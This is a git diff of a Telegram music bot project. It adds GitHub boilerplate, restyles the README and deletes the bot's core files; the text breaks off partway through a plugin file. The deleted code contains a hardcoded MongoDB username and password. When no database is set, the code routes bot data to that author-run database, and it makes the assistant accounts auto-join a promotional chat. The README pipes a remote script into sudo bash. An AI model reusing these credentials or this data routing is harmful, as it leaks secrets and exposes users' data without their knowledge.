diff --git a/.dockerignore b/.dockerignore index 0963439..fe58f98 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,6 +1,6 @@ .env .cache -Yukkilogs.txt +log.txt .DS_Store *.session raw_files/ diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..1c5dff5 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,14 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry +custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] +# diff --git a/.github/README.md b/.github/README.md index 31e193d..917e22a 100644 --- a/.github/README.md +++ b/.github/README.md @@ -1,36 +1,51 @@ -

-━━━━━━━━━━━━━━━━━━━━ -

「 𝕮𝖍𝖆𝖒𝖕𝖚 」

-

+

+

+

ᴀᴠᴀɪʟᴀʙʟᴇ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ ᴀs -[❥𝕮𝖍𝖆𝖒𝖕𝖚 ᭄_🖤⚜☄](https://t.me/champumusicbot) - +[˹мꝛ ᴄʜᴧᴍᴘᴜ˼](https://t.me/TheChampu)

-━━━━━━━━━━━━━━━━━━━━ +Website + +[![Telegram](https://img.shields.io/badge/Telegram-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white)](https://telegram.me/TheShivanshu) +[![Instagram](https://img.shields.io/badge/-Instagram-E1306C?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/Shivanshu_deo) +[![Snapchat](https://img.shields.io/badge/-Snapchat-F5AD09?style=for-the-badge&logo=snapchat&logoColor=white)](https://www.snapchat.com/add/shivanshudeo?share_id=0SMI0ikB1E4&locale=en-IN) +[![Gmail](https://img.shields.io/badge/Gmail-D14836?style=for-the-badge&logo=gmail&logoColor=white)](https://telegra.ph/%EA%9C%B1n%CE%B9%CE%BD%CE%B1i%D1%95n%CF%85-12-02) +[![Youtube](https://img.shields.io/badge/-YouTube-F50909?style=for-the-badge&logo=youtube&logoColor=white)](https://www.youtube.com/@itsmechampu) + + + +

+ +

-Stars +Stars License Python - -

- -━━━━━━━━━━━━━━━━━━━━ +

+

+

𝐓ʀʏ 𝐌ʏ 𝐓ᴇʟᴇɢʀᴀᴍ 𝐁ᴏᴛ's

+ +[![MUSIC](https://img.shields.io/badge/-TheChampuBot-E1306C?style=for-the-badge&logo=TheChampuBot&logoColor=green)](https://t.me/TheChampuBot) +[![MUSIC](https://img.shields.io/badge/TheKittyXD_Bot-%2307405e.svg?&style=for-the-badge&logo=TheKittyXD_Bot&logoColor)](https://t.me/TheKittyXD_Bot) +[![MUSIC](https://img.shields.io/badge/itsWaifuBot-%2307405e.svg?&style=for-the-badge&logo=itsWaifuBot&logoColor)](https://t.me/itsWaifuBot) + + 𝗗𝗘𝗣𝗟𝗢𝗬𝗠𝗘𝗡𝗧 𝗠𝗘𝗧𝗛𝗢𝗗𝗦

@@ -55,7 +70,7 @@ sudo apt-get install python3-pip ffmpeg -y sudo pip3 install -U pip ``` ```console -curl -fssL https://deb.nodesource.com/setup_17.x | sudo -E bash - && sudo apt-get install nodejs -y && npm i -g npm +curl -fssL https://deb.nodesource.com/setup_20.x | sudo -E bash - && sudo apt-get install nodejs -y && npm i -g npm ``` ```console git clone https://github.com/TheChampu/ChampuMusic && cd ChampuMusic @@ -92,7 +107,7 @@ sudo pkill -9 python3

─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʜᴇʀᴏᴋᴜ 」─

- Now We Are Going To Make A Epic Music Bot From Anon Helps +

@@ -104,14 +119,16 @@ sudo pkill -9 python3

-━━━━━━━━━━━━━━━━━━━━ + + +

─「 🖤ꜱнͥινͣαͫиѕнυ🖤 」─

- +

@@ -119,17 +136,21 @@ sudo pkill -9 python3

- +

-━━━━━━━━━━━━━━━━━━━━ - -ɪғ ʏᴏᴜ ᴄᴀɴ ᴄʀʏ ғᴏʀ ᴍᴇ... + +

+ɪғ ʏᴏᴜ ᴄᴀɴ ᴄʀʏ ғᴏʀ ᴍᴇ...

     ᴛʀᴜsᴛ ᴍᴇ ɪ ᴄᴀɴ ᴅɪᴇ ғᴏʀ ᴜʜʜ!!

-━━━━━━━━━━━━━━━━━━━━ + + + +

ᴄᴜʀʀᴇɴᴛʟʏ ᴏɴ sᴘᴏᴛɪғʏ

- TeamYukki -

ᴛʜᴀɴᴋs ᴛᴏ ᴛᴇᴀᴍʏᴜᴋᴋɪ +[𝕮𝖍𝖆𝖒𝖕𝖚 Spotify](https://open.spotify.com/user/31upue756rj6rctmc2gxdwvj5vri?si=hVSKCshlR3WUDi8qXBKyXw&utm_source=copy-link) +

ᴄᴏɴᴛʀɪʙᴜᴛᴏʀs

+ KashDaYash

diff --git a/.github/SECURITY.md b/.github/SECURITY.md new file mode 100644 index 0000000..034e848 --- /dev/null +++ b/.github/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..1c5d2b5 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,11 @@ +version: 2 +updates: +- package-ecosystem: pip + directory: "/" + schedule: + interval: daily + time: "00:00" + timezone: "Asia/Kolkata" + labels: + - "dependencies" + open-pull-requests-limit: 50 diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000..c15adca --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,81 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ "Master" ] + pull_request: + branches: [ "Master" ] + schedule: + - cron: '25 1 * * 5' + +jobs: + analyze: + name: Analyze + # Runner size impacts CodeQL analysis time. To learn more, please see: + # - https://gh.io/recommended-hardware-resources-for-running-codeql + # - https://gh.io/supported-runners-and-hardware-resources + # - https://gh.io/using-larger-runners + # Consider using larger runners for possible analysis time improvements. + runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} + timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} + permissions: + actions: read + contents: read + security-events: write + + strategy: + fail-fast: false + matrix: + language: [ 'python' ] + # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ] + # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both + # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both + # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v2 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + + # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs + # queries: security-extended,security-and-quality + + + # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v2 + + # ℹ️ Command-line programs to run using the OS shell. + # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun + + # If the Autobuild fails above, remove it and uncomment the following three lines. + # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. + + # - run: | + # echo "Run, Build Application using script" + # ./location_of_script_within_repo/buildscript.sh + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v2 + with: + category: "/language:${{matrix.language}}" diff --git a/.github/workflows/docker-image.yml b/.github/workflows/docker-image.yml new file mode 100644 index 0000000..eb44483 --- /dev/null +++ b/.github/workflows/docker-image.yml @@ -0,0 +1,18 @@ +name: Docker Image CI + +on: + push: + branches: [ "Master" ] + pull_request: + branches: [ "Master" ] + +jobs: + + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) diff --git a/.gitignore b/.gitignore index 0963439..eee6ec4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ .env .cache -Yukkilogs.txt +log.txt .DS_Store *.session raw_files/ @@ -8,3 +8,5 @@ cache/ downloads/ __pycache__/ *.session-journal +#© TheChampu +####### diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..2705206 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,94 @@ +# Citizen Code of Conduct + +## 1. Purpose + +A primary goal of ChampuMusic is to be inclusive to the largest number of contributors, with the most varied and diverse backgrounds possible. As such, we are committed to providing a friendly, safe and welcoming environment for all, regardless of gender, sexual orientation, ability, ethnicity, socioeconomic status, and religion (or lack thereof). + +This code of conduct outlines our expectations for all those who participate in our community, as well as the consequences for unacceptable behavior. + +We invite all those who participate in ChampuMusic to help us create safe and positive experiences for everyone. + +## 2. Open [Source/Culture/Tech] Citizenship + +A supplemental goal of this Code of Conduct is to increase open [source/culture/tech] citizenship by encouraging participants to recognize and strengthen the relationships between our actions and their effects on our community. + +Communities mirror the societies in which they exist and positive action is essential to counteract the many forms of inequality and abuses of power that exist in society. + +If you see someone who is making an extra effort to ensure our community is welcoming, friendly, and encourages all participants to contribute to the fullest extent, we want to know. + +## 3. Expected Behavior + +The following behaviors are expected and requested of all community members: + + * Participate in an authentic and active way. In doing so, you contribute to the health and longevity of this community. + * Exercise consideration and respect in your speech and actions. + * Attempt collaboration before conflict. + * Refrain from demeaning, discriminatory, or harassing behavior and speech. + * Be mindful of your surroundings and of your fellow participants. Alert community leaders if you notice a dangerous situation, someone in distress, or violations of this Code of Conduct, even if they seem inconsequential. + * Remember that community event venues may be shared with members of the public; please be respectful to all patrons of these locations. + +## 4. Unacceptable Behavior + +The following behaviors are considered harassment and are unacceptable within our community: + + * Violence, threats of violence or violent language directed against another person. + * Sexist, racist, homophobic, transphobic, ableist or otherwise discriminatory jokes and language. + * Posting or displaying sexually explicit or violent material. + * Posting or threatening to post other people's personally identifying information ("doxing"). + * Personal insults, particularly those related to gender, sexual orientation, race, religion, or disability. + * Inappropriate photography or recording. + * Inappropriate physical contact. You should have someone's consent before touching them. + * Unwelcome sexual attention. This includes, sexualized comments or jokes; inappropriate touching, groping, and unwelcomed sexual advances. + * Deliberate intimidation, stalking or following (online or in person). + * Advocating for, or encouraging, any of the above behavior. + * Sustained disruption of community events, including talks and presentations. + +## 5. Weapons Policy + +No weapons will be allowed at ChampuMusic events, community spaces, or in other spaces covered by the scope of this Code of Conduct. Weapons include but are not limited to guns, explosives (including fireworks), and large knives such as those used for hunting or display, as well as any other item used for the purpose of causing injury or harm to others. Anyone seen in possession of one of these items will be asked to leave immediately, and will only be allowed to return without the weapon. Community members are further expected to comply with all state and local laws on this matter. + +## 6. Consequences of Unacceptable Behavior + +Unacceptable behavior from any community member, including sponsors and those with decision-making authority, will not be tolerated. + +Anyone asked to stop unacceptable behavior is expected to comply immediately. + +If a community member engages in unacceptable behavior, the community organizers may take any action they deem appropriate, up to and including a temporary ban or permanent expulsion from the community without warning (and without refund in the case of a paid event). + +## 7. Reporting Guidelines + +If you are subject to or witness unacceptable behavior, or have any other concerns, please notify a community organizer as soon as possible. . + + + +Additionally, community organizers are available to help community members engage with local law enforcement or to otherwise help those experiencing unacceptable behavior feel safe. In the context of in-person events, organizers will also provide escorts as desired by the person experiencing distress. + +## 8. Addressing Grievances + +If you feel you have been falsely or unfairly accused of violating this Code of Conduct, you should notify with a concise description of your grievance. Your grievance will be handled in accordance with our existing governing policies. + + + +## 9. Scope + +We expect all community participants (contributors, paid or otherwise; sponsors; and other guests) to abide by this Code of Conduct in all community venues--online and in-person--as well as in all one-on-one communications pertaining to community business. + +This code of conduct and its related procedures also applies to unacceptable behavior occurring outside the scope of community activities when such behavior has the potential to adversely affect the safety and well-being of community members. + +## 10. Contact info + + + +## 11. License and attribution + +The Citizen Code of Conduct is distributed by [Stumptown Syndicate](http://stumptownsyndicate.org) under a [Creative Commons Attribution-ShareAlike license](http://creativecommons.org/licenses/by-sa/3.0/). + +Portions of text derived from the [Django Code of Conduct](https://www.djangoproject.com/conduct/) and the [Geek Feminism Anti-Harassment Policy](http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Policy). + +_Revision 2.3. Posted 6 March 2017._ + +_Revision 2.2. Posted 4 February 2016._ + +_Revision 2.1. Posted 23 June 2014._ + +_Revision 2.0, adopted by the [Stumptown Syndicate](http://stumptownsyndicate.org) board on 10 January 2013. Posted 17 March 2013._ diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..792d600 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1 @@ +# diff --git a/Champu/__init__.py b/Champu/__init__.py deleted file mode 100644 index e965c4e..0000000 --- a/Champu/__init__.py +++ /dev/null @@ -1,38 +0,0 @@ -from Champu.core.bot import ChampuBot -from Champu.core.dir import dirr -from Champu.core.git import git -from Champu.core.userbot import Userbot -from Champu.misc import dbb, heroku, sudo - -from .logging import LOGGER - -# Directories -dirr() - -# Check Git Updates -git() - -# Initialize Memory DB -dbb() - -# Heroku APP -heroku() - -# Load Sudo Users from DB -sudo() - -# Bot Client -app = ChampuBot() - -# Assistant Client -userbot = Userbot() - -from .platforms import * - -YouTube = YouTubeAPI() -Carbon = CarbonAPI() -Spotify = SpotifyAPI() -Apple = AppleAPI() -Resso = RessoAPI() -SoundCloud = SoundAPI() -Telegram = TeleAPI() diff --git a/Champu/__main__.py b/Champu/__main__.py deleted file mode 100644 index 41d9191..0000000 --- a/Champu/__main__.py +++ /dev/null @@ -1,72 +0,0 @@ -import asyncio -import importlib -import sys - -from pyrogram import idle -from pytgcalls.exceptions import NoActiveGroupCall - -import config -from config import BANNED_USERS -from Champu import LOGGER, app, userbot -from Champu.core.call import Champu -from Champu.plugins import ALL_MODULES -from Champu.utils.database import get_banned_users, get_gbanned - -loop = asyncio.get_event_loop() - - -async def init(): - if ( - not config.STRING1 - and not config.STRING2 - and not config.STRING3 - and not config.STRING4 - and not config.STRING5 - ): - LOGGER("Champu").error( - "No Assistant Clients Vars Defined!.. Exiting Process." - ) - return - if ( - not config.SPOTIFY_CLIENT_ID - and not config.SPOTIFY_CLIENT_SECRET - ): - LOGGER("Champu").warning( - "No Spotify Vars defined. Your bot won't be able to play spotify queries." - ) - try: - users = await get_gbanned() - for user_id in users: - BANNED_USERS.add(user_id) - users = await get_banned_users() - for user_id in users: - BANNED_USERS.add(user_id) - except: - pass - await app.start() - for all_module in ALL_MODULES: - importlib.import_module("Champu.plugins" + all_module) - LOGGER("Champu.plugins").info( - "Successfully Imported Modules " - ) - await userbot.start() - await Champu.start() - try: - await Champu.stream_call( - "http://docs.evostream.com/sample_content/assets/sintel1m720p.mp4" - ) - except NoActiveGroupCall: - LOGGER("Champu").error( - "[ERROR] - \n\nPlease turn on your Logger Group's Voice Call. Make sure you never close/end voice call in your log group" - ) - sys.exit() - except: - pass - await Champu.decorators() - LOGGER("Champu").info("Champu Music Bot Started Successfully") - await idle() - - -if __name__ == "__main__": - loop.run_until_complete(init()) - LOGGER("Champu").info("Stopping Champu Music Bot! GoodBye") diff --git a/Champu/core/bot.py b/Champu/core/bot.py deleted file mode 100644 index 2374b73..0000000 --- a/Champu/core/bot.py +++ /dev/null @@ -1,64 +0,0 @@ -import sys - -from pyrogram import Client -from pyrogram.types import BotCommand - -import config - -from ..logging import LOGGER - - -class ChampuBot(Client): - def __init__(self): - LOGGER(__name__).info(f"Starting Bot") - super().__init__( - "ChampuMusicBot", - api_id=config.API_ID, - api_hash=config.API_HASH, - bot_token=config.BOT_TOKEN, - ) - - async def start(self): - await super().start() - get_me = await self.get_me() - self.username = get_me.username - self.id = get_me.id - try: - await self.send_message( - config.LOG_GROUP_ID, "Bot Started" - ) - except: - LOGGER(__name__).error( - "Bot has failed to access the log Group. Make sure that you have added your bot to your log channel and promoted as admin!" - ) - sys.exit() - if config.SET_CMDS == str(True): - try: - await self.set_bot_commands( - [ - BotCommand("ping", "Check that bot is alive or dead"), - BotCommand("play", "Starts playing the requested song"), - BotCommand("skip", "Moves to the next track in queue"), - BotCommand("pause", "Pause the current playing song"), - BotCommand("resume", "Resume the paused song"), - BotCommand("end", "Clear the queue and leave voice chat"), - BotCommand("shuffle", "Randomly shuffles the queued playlist."), - BotCommand("playmode", "Allows you to change the default playmode for your chat"), - BotCommand("settings", "Open the settings of the music bot for your chat.") - ] - ) - except: - pass - else: - pass - a = await self.get_chat_member(config.LOG_GROUP_ID, self.id) - if a.status != "administrator": - LOGGER(__name__).error( - "Please promote Bot as Admin in Logger Group" - ) - sys.exit() - if get_me.last_name: - self.name = get_me.first_name + " " + get_me.last_name - else: - self.name = get_me.first_name - LOGGER(__name__).info(f"MusicBot Started as {self.name}") diff --git a/Champu/core/dir.py b/Champu/core/dir.py deleted file mode 100644 index 27d419b..0000000 --- a/Champu/core/dir.py +++ /dev/null @@ -1,24 +0,0 @@ -import os -import sys -from os import listdir, mkdir - -from ..logging import LOGGER - - -def dirr(): - if "assets" not in listdir(): - LOGGER(__name__).warning( - f"Assets Folder not Found. Please clone repository again." - ) - sys.exit() - for file in os.listdir(): - if file.endswith(".jpg"): - os.remove(file) - for file in os.listdir(): - if file.endswith(".jpeg"): - os.remove(file) - if "downloads" not in listdir(): - mkdir("downloads") - if "cache" not in listdir(): - mkdir("cache") - LOGGER(__name__).info("Directories Updated.") diff --git a/Champu/core/mongo.py b/Champu/core/mongo.py deleted file mode 100644 index fc19617..0000000 --- a/Champu/core/mongo.py +++ /dev/null @@ -1,34 +0,0 @@ -from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_ -from pymongo import MongoClient -from pyrogram import Client - -import config - -from ..logging import LOGGER - -TEMP_MONGODB = "mongodb+srv://champujis12:mamaji12345@cluster0.qln4f1o.mongodb.net/?retryWrites=true&w=majority" - - -if config.MONGO_DB_URI is None: - LOGGER(__name__).warning( - "No MONGO DB URL found.. Your Bot will work on Champu's Database" - ) - temp_client = Client( - "Champu", - bot_token=config.BOT_TOKEN, - api_id=config.API_ID, - api_hash=config.API_HASH, - ) - temp_client.start() - info = temp_client.get_me() - username = info.username - temp_client.stop() - _mongo_async_ = _mongo_client_(TEMP_MONGODB) - _mongo_sync_ = MongoClient(TEMP_MONGODB) - mongodb = _mongo_async_[username] - pymongodb = _mongo_sync_[username] -else: - _mongo_async_ = _mongo_client_(config.MONGO_DB_URI) - _mongo_sync_ = MongoClient(config.MONGO_DB_URI) - mongodb = _mongo_async_.Champu - pymongodb = _mongo_sync_.Champu diff --git a/Champu/core/userbot.py b/Champu/core/userbot.py deleted file mode 100644 index 0e4a536..0000000 --- a/Champu/core/userbot.py +++ /dev/null @@ -1,192 +0,0 @@ -import sys - -from pyrogram import Client - -import config - -from ..logging import LOGGER - -assistants = [] -assistantids = [] - - -class Userbot(Client): - def __init__(self): - self.one = Client( - api_id=config.API_ID, - api_hash=config.API_HASH, - session_name=str(config.STRING1), - no_updates=True, - ) - self.two = Client( - api_id=config.API_ID, - api_hash=config.API_HASH, - session_name=str(config.STRING2), - no_updates=True, - ) - self.three = Client( - api_id=config.API_ID, - api_hash=config.API_HASH, - session_name=str(config.STRING3), - no_updates=True, - ) - self.four = Client( - api_id=config.API_ID, - api_hash=config.API_HASH, - session_name=str(config.STRING4), - no_updates=True, - ) - self.five = Client( - api_id=config.API_ID, - api_hash=config.API_HASH, - session_name=str(config.STRING5), - no_updates=True, - ) - - async def start(self): - LOGGER(__name__).info(f"Starting Assistant Clients") - if config.STRING1: - await self.one.start() - try: - await self.one.join_chat("TheShivanshu") - except: - pass - assistants.append(1) - try: - await self.one.send_message( - config.LOG_GROUP_ID, "Assistant Started" - ) - except: - LOGGER(__name__).error( - f"Assistant Account 1 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " - ) - sys.exit() - get_me = await self.one.get_me() - self.one.username = get_me.username - self.one.id = get_me.id - assistantids.append(get_me.id) - if get_me.last_name: - self.one.name = ( - get_me.first_name + " " + get_me.last_name - ) - else: - self.one.name = get_me.first_name - LOGGER(__name__).info( - f"Assistant Started as {self.one.name}" - ) - if config.STRING2: - await self.two.start() - try: - await self.two.join_chat("TheShivanshu") - except: - pass - assistants.append(2) - try: - await self.two.send_message( - config.LOG_GROUP_ID, "Assistant Started" - ) - except: - LOGGER(__name__).error( - f"Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " - ) - sys.exit() - get_me = await self.two.get_me() - self.two.username = get_me.username - self.two.id = get_me.id - assistantids.append(get_me.id) - if get_me.last_name: - self.two.name = ( - get_me.first_name + " " + get_me.last_name - ) - else: - self.two.name = get_me.first_name - LOGGER(__name__).info( - f"Assistant Two Started as {self.two.name}" - ) - if config.STRING3: - await self.three.start() - try: - await self.three.join_chat("TheShivanshu") - except: - pass - assistants.append(3) - try: - await self.three.send_message( - config.LOG_GROUP_ID, "Assistant Started" - ) - except: - LOGGER(__name__).error( - f"Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " - ) - sys.exit() - get_me = await self.three.get_me() - self.three.username = get_me.username - self.three.id = get_me.id - assistantids.append(get_me.id) - if get_me.last_name: - self.three.name = ( - get_me.first_name + " " + get_me.last_name - ) - else: - self.three.name = get_me.first_name - LOGGER(__name__).info( - f"Assistant Three Started as {self.three.name}" - ) - if config.STRING4: - await self.four.start() - try: - await self.four.join_chat("TheShivanshu") - except: - pass - assistants.append(4) - try: - await self.four.send_message( - config.LOG_GROUP_ID, "Assistant Started" - ) - except: - LOGGER(__name__).error( - f"Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " - ) - sys.exit() - get_me = await self.four.get_me() - self.four.username = get_me.username - self.four.id = get_me.id - assistantids.append(get_me.id) - if get_me.last_name: - self.four.name = ( - get_me.first_name + " " + get_me.last_name - ) - else: - self.four.name = get_me.first_name - LOGGER(__name__).info( - f"Assistant Four Started as {self.four.name}" - ) - if config.STRING5: - await self.five.start() - try: - await self.five.join_chat("TheShivanshu") - except: - pass - assistants.append(5) - try: - await self.five.send_message( - config.LOG_GROUP_ID, "Assistant Started" - ) - except: - LOGGER(__name__).error( - f"Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " - ) - sys.exit() - get_me = await self.five.get_me() - self.five.username = get_me.username - self.five.id = get_me.id - assistantids.append(get_me.id) - if get_me.last_name: - self.five.name = ( - get_me.first_name + " " + get_me.last_name - ) - else: - self.five.name = get_me.first_name - LOGGER(__name__).info( - f"Assistant Five Started as {self.five.name}" - ) diff --git a/Champu/misc.py b/Champu/misc.py deleted file mode 100644 index e3bea79..0000000 --- a/Champu/misc.py +++ /dev/null @@ -1,81 +0,0 @@ -import socket -import time - -import heroku3 -from pyrogram import filters - -import config -from Champu.core.mongo import pymongodb - -from .logging import LOGGER - -SUDOERS = filters.user() - -HAPP = None -_boot_ = time.time() - - -def is_heroku(): - return "heroku" in socket.getfqdn() - - -XCB = [ - "/", - "@", - ".", - "com", - ":", - "git", - "heroku", - "push", - str(config.HEROKU_API_KEY), - "https", - str(config.HEROKU_APP_NAME), - "HEAD", - "main", -] - - -def dbb(): - global db - db = {} - LOGGER(__name__).info(f"Database Initialized.") - - -def sudo(): - global SUDOERS - OWNER = config.OWNER_ID - if config.MONGO_DB_URI is None: - for user_id in OWNER: - SUDOERS.add(user_id) - else: - sudoersdb = pymongodb.sudoers - sudoers = sudoersdb.find_one({"sudo": "sudo"}) - sudoers = [] if not sudoers else sudoers["sudoers"] - for user_id in OWNER: - SUDOERS.add(user_id) - if user_id not in sudoers: - sudoers.append(user_id) - sudoersdb.update_one( - {"sudo": "sudo"}, - {"$set": {"sudoers": sudoers}}, - upsert=True, - ) - if sudoers: - for x in sudoers: - SUDOERS.add(x) - LOGGER(__name__).info(f"Sudoers Loaded.") - - -def heroku(): - global HAPP - if is_heroku: - if config.HEROKU_API_KEY and config.HEROKU_APP_NAME: - try: - Heroku = heroku3.from_key(config.HEROKU_API_KEY) - HAPP = Heroku.app(config.HEROKU_APP_NAME) - LOGGER(__name__).info(f"Heroku App Configured") - except BaseException: - LOGGER(__name__).warning( - f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku." - ) diff --git a/Champu/platforms/Telegram.py b/Champu/platforms/Telegram.py deleted file mode 100644 index 4e147cb..0000000 --- a/Champu/platforms/Telegram.py +++ /dev/null @@ -1,196 +0,0 @@ -import asyncio -import os -import time -from datetime import datetime, timedelta -from typing import Union - -from pyrogram.types import (InlineKeyboardButton, - InlineKeyboardMarkup, Voice) - -import config -from config import MUSIC_BOT_NAME, lyrical -from Champu import app - -from ..utils.formatters import (convert_bytes, get_readable_time, - seconds_to_min) - -downloader = {} - - -class TeleAPI: - def __init__(self): - self.chars_limit = 4096 - self.sleep = config.TELEGRAM_DOWNLOAD_EDIT_SLEEP - - async def send_split_text(self, message, string): - n = self.chars_limit - out = [(string[i : i + n]) for i in range(0, len(string), n)] - j = 0 - for x in out: - if j <= 2: - j += 1 - await message.reply_text(x) - return True - - async def get_link(self, message): - if message.chat.username: - link = f"https://t.me/{message.chat.username}/{message.reply_to_message.message_id}" - else: - xf = str((message.chat.id))[4:] - link = f"https://t.me/c/{xf}/{message.reply_to_message.message_id}" - return link - - async def get_filename( - self, file, audio: Union[bool, str] = None - ): - try: - file_name = file.file_name - if file_name is None: - file_name = ( - "Telegram Audio File" - if audio - else "Telegram Video File" - ) - - except: - file_name = ( - "Telegram Audio File" - if audio - else "Telegram Video File" - ) - return file_name - - async def get_duration(self, file): - try: - dur = seconds_to_min(file.duration) - except: - dur = "Unknown" - return dur - - async def get_filepath( - self, - audio: Union[bool, str] = None, - video: Union[bool, str] = None, - ): - if audio: - try: - file_name = ( - audio.file_unique_id - + "." - + ( - (audio.file_name.split(".")[-1]) - if (not isinstance(audio, Voice)) - else "ogg" - ) - ) - except: - file_name = audio.file_unique_id + "." + ".ogg" - file_name = os.path.join( - os.path.realpath("downloads"), file_name - ) - if video: - try: - file_name = ( - video.file_unique_id - + "." - + (video.file_name.split(".")[-1]) - ) - except: - file_name = video.file_unique_id + "." + "mp4" - file_name = os.path.join( - os.path.realpath("downloads"), file_name - ) - return file_name - - async def download(self, _, message, mystic, fname): - left_time = {} - speed_counter = {} - if os.path.exists(fname): - return True - - async def down_load(): - async def progress(current, total): - if current == total: - return - current_time = time.time() - start_time = speed_counter.get(message.message_id) - check_time = current_time - start_time - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="🚦 Cancel Downloading", - callback_data="stop_downloading", - ), - ] - ] - ) - if datetime.now() > left_time.get(message.message_id): - percentage = current * 100 / total - percentage = str(round(percentage, 2)) - speed = current / check_time - eta = int((total - current) / speed) - downloader[message.message_id] = eta - eta = get_readable_time(eta) - if not eta: - eta = "0 sec" - total_size = convert_bytes(total) - completed_size = convert_bytes(current) - speed = convert_bytes(speed) - text = f""" -**{MUSIC_BOT_NAME} Telegram Media Downloader** - -**Total FileSize:** {total_size} -**Completed:** {completed_size} -**Percentage:** {percentage[:5]}% - -**Speed:** {speed}/s -**ETA:** {eta}""" - try: - await mystic.edit_text(text, reply_markup=upl) - except: - pass - left_time[ - message.message_id - ] = datetime.now() + timedelta(seconds=self.sleep) - - speed_counter[message.message_id] = time.time() - left_time[message.message_id] = datetime.now() - - try: - await app.download_media( - message.reply_to_message, - file_name=fname, - progress=progress, - ) - await mystic.edit_text( - "Successfully Downloaded.. Processing file now" - ) - downloader.pop(message.message_id) - except: - await mystic.edit_text(_["tg_2"]) - - if len(downloader) > 10: - timers = [] - for x in downloader: - timers.append(downloader[x]) - try: - low = min(timers) - eta = get_readable_time(low) - except: - eta = "Unknown" - await mystic.edit_text(_["tg_1"].format(eta)) - return False - - task = asyncio.create_task(down_load()) - lyrical[mystic.message_id] = task - await task - downloaded = downloader.get(message.message_id) - if downloaded: - downloader.pop(message.message_id) - return False - verify = lyrical.get(mystic.message_id) - if not verify: - return False - lyrical.pop(mystic.message_id) - return True diff --git a/Champu/plugins/admins/auth.py b/Champu/plugins/admins/auth.py deleted file mode 100644 index 9cbe2a2..0000000 --- a/Champu/plugins/admins/auth.py +++ /dev/null @@ -1,153 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS, adminlist -from strings import get_command -from Champu import app -from 